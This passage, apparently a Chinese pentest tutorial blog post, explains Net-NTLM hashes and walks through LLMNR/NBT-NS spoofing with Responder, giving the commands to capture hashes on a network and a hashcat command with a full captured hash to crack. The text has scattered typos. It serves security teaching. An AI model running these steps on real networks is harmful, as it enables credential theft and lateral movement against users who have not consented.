    • Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139端口。

    3. Net-NTLM Hash
    Net-NTLM Hash与 NTLM Hash不同。
    NTLM Hash是指Windows操作系统的Security Account Manager中保存的用户密码散列值。NTLMHash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
    Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash。使用Responder抓取的通常就是Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等工具得到明文后进行横向移动攻击。

    4.6.2 LLMNR和 NetBIOS欺骗攻击分析


    假设目标网络的 DNS服务器因发生故障而无法提供服务时,会退回 LLMNR和 NBT-NS进行计算机名解析。下面使用Responder 工具进行渗透测试。
    Responder 是监听 LLMNR和 NBT-NS协议的工具之一,能够抓取网络中所有的 LLMNR和NBT-NS 请求并进行响应,获取最初的账户凭证。
    Responder可以利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器、DNS服务器、WPAD代理服务器,以及FTP、POP3、IMAP、SMTP等服务器,收集目标网络中计算机的凭据,还可以通过Multi-Relay 功能在目标系统中执行命令。

    1.下载和运行
    Responder是使用Python语言编写的。

    1.  
      git clone https://github.com/SpiderLabs/Responder.git
    2.  
      ┌──(rootkali)-[/home/kali]
    3.  
      └─# responder -I eth0

    2.渗透测试
    在使用 Responder对网络进行分析之后可以利用SMB协议获取目标网络中计算机的 Net-NTLM Hash。如果用户输入了错误的计算机名在DNS服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS和LLMNR进行解析。

    在渗透测试中,使用Responder 开启回应请求功能,Responuer会自动回应客户端的请求并声明自己就是被输人了错误计算机名的那台机器,然石尝试建立SMB连接。客户端项发送自已的Nt-NTeLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash

    3.使用hashcat进行破解

    hashcat -m 5600 q::WIN7:524fa9048b91226c:A78B9944E2BCB793E02A78511A370527:01010000000000009AA13A40DDD9D60164D36B5FEDF5E086000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000EBE62023381C3BC8F579B7C0DC4B836449D20887CC0365A21217FB41FBB0F3040A001000000000000000000000000000000000000900180048005400540050002F0031002E0031002E0031002E0035000000000000000000 p.txt
    

     
  • 相关阅读:
    Android系统架构
    WebView找不到网页,显示空白页问题解决
    隐藏标题栏
    Android编译时gradle报错乱码
    java.net.ConnectException
    can not resolve sendMessage(android.os.message)
    execution failed for task":app:dexDebug"
    android.view.InflateException: Binary XML file line #16: Error&nbs
    com.android.ide.common.process.Pr
    jdbc连接数据库
  • 原文地址:https://www.cnblogs.com/bonelee/p/15973807.html
Copyright © 2020-2023  润新知